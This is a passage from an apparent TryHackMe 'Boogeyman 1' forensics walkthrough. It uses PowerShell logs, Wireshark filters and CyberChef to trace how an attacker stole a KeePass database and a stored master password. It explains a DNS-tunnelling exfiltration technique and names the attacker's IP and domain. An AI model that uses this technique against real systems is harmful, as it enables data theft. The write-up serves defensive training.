srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5_hu_fe708e94fb8b1c38.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The file is a database that stores information for a specific application, the specific application is the answer to &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5ef546f7535dce58c6bd610d2af331b1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5ef546f7535dce58c6bd610d2af331b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-name-of-the-exfiltrated-file&#34;&gt;Question 5: What is the name of the exfiltrated file?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s pull back and revisit the &lt;em&gt;JQ&lt;/em&gt; output for &lt;em&gt;ScriptBlockText&lt;/em&gt; that we used in &lt;strong&gt;Question 1&lt;/strong&gt; and browse through the output again. We’ll stumble across the following line where we can see some evidence of a file being exfiltrated to an external &lt;em&gt;IP address&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b51488279f6516e764b14be9f0e22de6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;6857px&#34; data-flex-grow=&#34;2857&#34; height=&#34;42&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/b51488279f6516e764b14be9f0e22de6_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/b51488279f6516e764b14be9f0e22de6_MD5_hu_7c0bbd4770d1a55a.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/b51488279f6516e764b14be9f0e22de6_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Submit the &lt;em&gt;IP address&lt;/em&gt; as the answer but also add it to your notes as we may need it again later!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c88aa5f79f358ee240d4fb69956f77bd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c88aa5f79f358ee240d4fb69956f77bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-type-of-file-uses-thekdbx-file-extension&#34;&gt;Question 6: What type of file uses the .kdbx file extension?&#xA;&lt;/h3&gt;&lt;p&gt;If you aren’t familiar with this file type, do some quick &lt;em&gt;Google&lt;/em&gt; research to determine what application uses it. There is a help center for the application that has a detailed specification page about the file extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fbc398d627a6ff83029db43d5d64d562_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/fbc398d627a6ff83029db43d5d64d562_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-encoding-used-during-the-exfiltration-attempt-of-the-sensitive-file&#34;&gt;Question 7: What is the encoding used during the exfiltration attempt of the sensitive file?&#xA;&lt;/h3&gt;&lt;p&gt;Continue reviewing the &lt;em&gt;JQ&lt;/em&gt; parsed command output. Following the line we discovered to answer &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll see another interesting item that contains the file encoding used during the exfiltration:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c14eeeeac9b9904284405aa3b1913d3e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;5647px&#34; data-flex-grow=&#34;2352&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c14eeeeac9b9904284405aa3b1913d3e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c14eeeeac9b9904284405aa3b1913d3e_MD5_hu_4c4c060756b9fe88.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c14eeeeac9b9904284405aa3b1913d3e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;832aea70d39e881e683a2cfcadd92cae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/832aea70d39e881e683a2cfcadd92cae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-tool-used-for-exfiltration&#34;&gt;Question 8: What is the tool used for exfiltration?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 8,&lt;/strong&gt; refer back to the previous question’s output that contains the encoding method and look further down the command.&lt;/p&gt;&#xA;&lt;p&gt;After the data is encoded, we’ll see another command which appears to be using &lt;em&gt;DNS&lt;/em&gt; to query the &lt;em&gt;A record&lt;/em&gt; of attacker-controlled infrastructure at the &lt;em&gt;$destination&lt;/em&gt; variable. Remember that the &lt;em&gt;IP address&lt;/em&gt; we found in &lt;strong&gt;Question 5&lt;/strong&gt; was defined as &lt;em&gt;$destination?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;26f2115be2d4f2d6f48f3c672b92751c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;5647px&#34; data-flex-grow=&#34;2352&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/26f2115be2d4f2d6f48f3c672b92751c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/26f2115be2d4f2d6f48f3c672b92751c_MD5_hu_afe9ec7a95366df7.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/26f2115be2d4f2d6f48f3c672b92751c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks like it might be a living off the land exfiltration technique where targeted data is encoded, split to a character limit, and then exfiltrated though &lt;em&gt;DNS&lt;/em&gt; queries to the adversary’s infrastructure by appending the data (the &lt;em&gt;$line&lt;/em&gt; variable) to a domain name where it can be reassembled or interpreted by the adversary.&lt;/p&gt;&#xA;&lt;p&gt;Maybe we will get more information when we move into the network packet capture analysis…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5d6e5a8f74b7a0f4b1942ccff6da0b56_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5d6e5a8f74b7a0f4b1942ccff6da0b56_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-4network-trafficanalysis&#34;&gt;Task 4 — Network Traffic Analysis&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Based on the PowerShell logs investigation, we have seen the full impact of the attack:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The threat actor was able to read and exfiltrate two potentially sensitive files.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The domains and ports used for the network activity were discovered, including the tool used by the threat actor for exfiltration.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-software-is-used-by-the-attacker-to-host-its-presumed-filepayload-server&#34;&gt;Question 1: What software is used by the attacker to host its presumed file/payload server?&#xA;&lt;/h3&gt;&lt;p&gt;Now, we are moving into the next phase of our investigation, the network traffic analysis. From the &lt;em&gt;artefact folder,&lt;/em&gt; double-click &lt;em&gt;capture.pcapng&lt;/em&gt; to open it with &lt;em&gt;Wireshark.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we’re in &lt;em&gt;Wireshark&lt;/em&gt;, we need a starting point for the next phase of our investigation. Let’s begin by inputting the attacker’s infrastructure &lt;em&gt;IP address&lt;/em&gt; that we located in &lt;strong&gt;Question 5&lt;/strong&gt; of the &lt;em&gt;Endpoint Security&lt;/em&gt; section into &lt;em&gt;Wireshark’s&lt;/em&gt; filter:&lt;/p&gt;&#xA;&lt;p&gt;ip.addr==167.71.211.113&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;46873b4d4746d236483da0277386c287_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1006px&#34; data-flex-grow=&#34;419&#34; height=&#34;286&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/46873b4d4746d236483da0277386c287_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/46873b4d4746d236483da0277386c287_MD5_hu_74db750374715da4.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/46873b4d4746d236483da0277386c287_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That’s a lot of output, so let’s make this a bit more manageable and focus on the &lt;em&gt;HTTP&lt;/em&gt; protocol traffic by further adjusting our filter.&lt;/p&gt;&#xA;&lt;p&gt;http &amp;amp;&amp;amp; ip.addr==167.71.211.113&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;afc90c5f1f82a05f7b5738c88e8319fb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1511px&#34; data-flex-grow=&#34;629&#34; height=&#34;127&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/afc90c5f1f82a05f7b5738c88e8319fb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Much more manageable! Let’s focus in on the first &lt;em&gt;HTTP&lt;/em&gt; response (&lt;em&gt;33256.)&lt;/em&gt; Right click the packet row &amp;gt; &lt;em&gt;Follow&lt;/em&gt; &amp;gt; &lt;em&gt;HTTP Stream.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c0f988dcdebccf73307c96b7f00b529_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;441px&#34; data-flex-grow=&#34;183&#34; height=&#34;435&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/3c0f988dcdebccf73307c96b7f00b529_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the &lt;em&gt;HTTP Stream&lt;/em&gt; window opens, we can check out the &lt;em&gt;Server&lt;/em&gt; field to determine what application is hosting the web server:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;100b70b21ea22e4b8c3e3ad2d5bd59a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/100b70b21ea22e4b8c3e3ad2d5bd59a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d67ff255f95c933c9dbaa089b0199e77_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/d67ff255f95c933c9dbaa089b0199e77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-http-method-is-used-by-the-c2-for-the-output-of-the-commands-executed-by-the-attacker&#34;&gt;Question 2: What HTTP method is used by the C2 for the output of the commands executed by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;We found this information when analyzing the &lt;em&gt;PowerShell&lt;/em&gt; logs in &lt;em&gt;Endpoint Security&lt;/em&gt; &lt;strong&gt;Question 1,&lt;/strong&gt; remember? If not, here’s a refresher:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5e16271c80d88af9478b00f6e02d6552_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;7783px&#34; data-flex-grow=&#34;3243&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5e16271c80d88af9478b00f6e02d6552_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5e16271c80d88af9478b00f6e02d6552_MD5_hu_90163091b21628e7.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5e16271c80d88af9478b00f6e02d6552_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since, we know the attacker is exfiltrating the data out and not requesting it in, the method would NOT be GET…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e65c539420bffcccfeea417eaabf6685_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/e65c539420bffcccfeea417eaabf6685_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-protocol-used-during-the-exfiltration-activity&#34;&gt;Question 3: What is the protocol used during the exfiltration activity?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 8&lt;/strong&gt; of the &lt;em&gt;Endpoint Security Section&lt;/em&gt; &lt;strong&gt;&lt;em&gt;(Task 3)&lt;/em&gt;&lt;/strong&gt; we discovered that the exfiltration tool used a specific protocol? This is the answer to &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d179fd2e6bba1b16d1e969368f90993a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2000px&#34; data-flex-grow=&#34;833&#34; height=&#34;96&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/d179fd2e6bba1b16d1e969368f90993a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-password-of-the-exfiltrated-file&#34;&gt;Question 4: What is the password of the exfiltrated file?&#xA;&lt;/h3&gt;&lt;p&gt;Since this gets a little complicated, let’s lean on the question hint:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1e5f83619688ab3f2452beba967f2fb5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;736px&#34; data-flex-grow=&#34;306&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/1e5f83619688ab3f2452beba967f2fb5_MD5.png&#34; width=&#34;439&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks, THM! So, the working theory here is that we need to locate a password that the victim stored in the file that accessed by &lt;em&gt;sq3.exe&lt;/em&gt; in the &lt;em&gt;Endpoint Investigation&lt;/em&gt; (&lt;strong&gt;Question 3&lt;/strong&gt;) to “unlock” the exfiltrated file.&lt;/p&gt;&#xA;&lt;p&gt;So, let’s leverage &lt;em&gt;Wireshark’s&lt;/em&gt; search function to search the packets for a keyword. First, press &lt;em&gt;CTRL + F&lt;/em&gt; to bring up the find/search bar, then select &lt;em&gt;String,&lt;/em&gt; and finally select &lt;em&gt;Packet details&lt;/em&gt; so we can search within middle “&lt;em&gt;packet details&lt;/em&gt;” window. Now enter &lt;em&gt;sq3.exe&lt;/em&gt; into the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5a4247001f5a63de1f5efd848ab1aef5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;343px&#34; data-flex-grow=&#34;143&#34; height=&#34;559&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5a4247001f5a63de1f5efd848ab1aef5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, we will locate an &lt;em&gt;HTTP GET&lt;/em&gt; request packet (&lt;em&gt;42700&lt;/em&gt;), but since the attacker took the data and sent it out, we’re looking for a &lt;em&gt;POST&lt;/em&gt; request.&lt;/p&gt;&#xA;&lt;p&gt;If we continue with the &lt;em&gt;find&lt;/em&gt; function, there are four hits for &lt;em&gt;sq3.exe.&lt;/em&gt; The last one has the same &lt;em&gt;PowerShell&lt;/em&gt; command in the text data that we found in the &lt;em&gt;Endpoint Analysis&lt;/em&gt; section for &lt;strong&gt;Question 3.&lt;/strong&gt; It feels like we are getting closer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a94130a9ed97070fd84802a854e03889_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;390px&#34; data-flex-grow=&#34;162&#34; height=&#34;492&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/a94130a9ed97070fd84802a854e03889_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, we’ll use &lt;em&gt;44459&lt;/em&gt; as our starting point for searching &lt;em&gt;POST&lt;/em&gt; requests. We’ll need to cut down the noise by filtering &lt;em&gt;HTTP POST&lt;/em&gt; methods since we can’t simply just keep searching &lt;em&gt;sq3.exe.&lt;/em&gt; We can further narrow our scope by also filtering anything below our starting point frame number.&lt;/p&gt;&#xA;&lt;p&gt;http.request.method==POST &amp;amp;&amp;amp; frame.number &amp;gt; 44459&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ade3692fcc79838965acd39ad4f5e2e4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/ade3692fcc79838965acd39ad4f5e2e4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This gets us down to nine entries. Let’s start analyzing the first entry (&lt;em&gt;44467)&lt;/em&gt; and &lt;em&gt;Follow &amp;gt; HTTP Stream:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;00fd2745bd2b0f65210e3c50e1b87648_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;901px&#34; data-flex-grow=&#34;375&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/00fd2745bd2b0f65210e3c50e1b87648_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, that’s a big blob of something! Let’s drop it into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; so that we can do some decoding operations and see if we can get something readable. To start, we can go lazy mode and see if the &lt;em&gt;Magic&lt;/em&gt; function can do anything for us:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;96e42d1911226939b4843e08012bfb88_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/96e42d1911226939b4843e08012bfb88_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like &lt;em&gt;CyberChef&lt;/em&gt; can do some decoding if we apply the &lt;em&gt;From Decimal&lt;/em&gt; recipe. Let’s apply it and see what we can find…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ea9cece8c4cf26d9fe67cf4b1f78c034_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/ea9cece8c4cf26d9fe67cf4b1f78c034_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We found the “&lt;em&gt;Master Password&lt;/em&gt;” that the victim stored in plain text— not good!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c7a2003a2900c40fab7b891aa6fc5660_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c7a2003a2900c40fab7b891aa6fc5660_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-credit-card-number-stored-inside-the-exfiltrated-file&#34;&gt;Question 5: What is the credit card number stored inside the exfiltrated file?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, we made it to the last question! Now that we have a “&lt;em&gt;Master Password&lt;/em&gt;” we need to unlock something with it…&lt;/p&gt;&#xA;&lt;p&gt;Let’s recap what we know so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The exfiltrated file is a type of database that would require a master password. We know what application it is from &lt;strong&gt;Task 3 — Question 6.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;From &lt;strong&gt;Question 8&lt;/strong&gt; of the previous task, we also know that this database was being converted to &lt;em&gt;Hexadecimal&lt;/em&gt; in blocks, and exfiltrated over &lt;em&gt;DNS A record&lt;/em&gt; queries to the destination IP address of &lt;em&gt;167[.]71[.]211[.]113&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Each &lt;em&gt;DNS&lt;/em&gt; query is sent in the format of an encoded string (&lt;em&gt;$line&lt;/em&gt;) appended to &lt;em&gt;bpakcaging[.]xyz&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Below is the evidence from that question for our reference:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;03423ef59b82a09400782983fcf61e24_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3063px&#34; data-flex-grow=&#34;1276&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/03423ef59b82a09400782983fcf61e24_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/03423ef59b82a09400782983fcf61e24_MD5_hu_ded4653799b0627d.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/03423ef59b82a09400782983fcf61e24_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell Reference of the KDBX Exfiltration&lt;/p&gt;&#xA;&lt;p&gt;So, we know the file, protocol, domain, and &lt;em&gt;IP address&lt;/em&gt;. Let’s try to leverage &lt;em&gt;Wireshark&lt;/em&gt; to filter out just the packets relevant to this information. To do this, we need to adjust our filter again.&lt;/p&gt;&#xA;&lt;p&gt;First, I went to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_DNS_record_types&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; to find out the type id for the &lt;em&gt;DNS&lt;/em&gt; &lt;em&gt;A Record&lt;/em&gt; which is &lt;strong&gt;1.&lt;/strong&gt; This helps us build our &lt;em&gt;Wireshark&lt;/em&gt; query to only look at DNS A records. Then we also input the &lt;em&gt;IP address&lt;/em&gt; that the data is exfiltrated to.&lt;/p&gt;&#xA;&lt;p&gt;dns.qry.type==1 &amp;amp;&amp;amp; ip.dst==167.71.211.113&lt;/p&gt;&#xA;&lt;p&gt;Now, we will see a ton of rows returned but the data matches the format that we expected based on what we learned about the exfiltration method. But it isn’t readable just yet.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;45789bf2401f8612437274c1294d18ca_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1107px&#34; data-flex-grow=&#34;461&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/45789bf2401f8612437274c1294d18ca_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/45789bf2401f8612437274c1294d18ca_MD5_hu_7a67ef9b2ca4ee1c.png 800w, 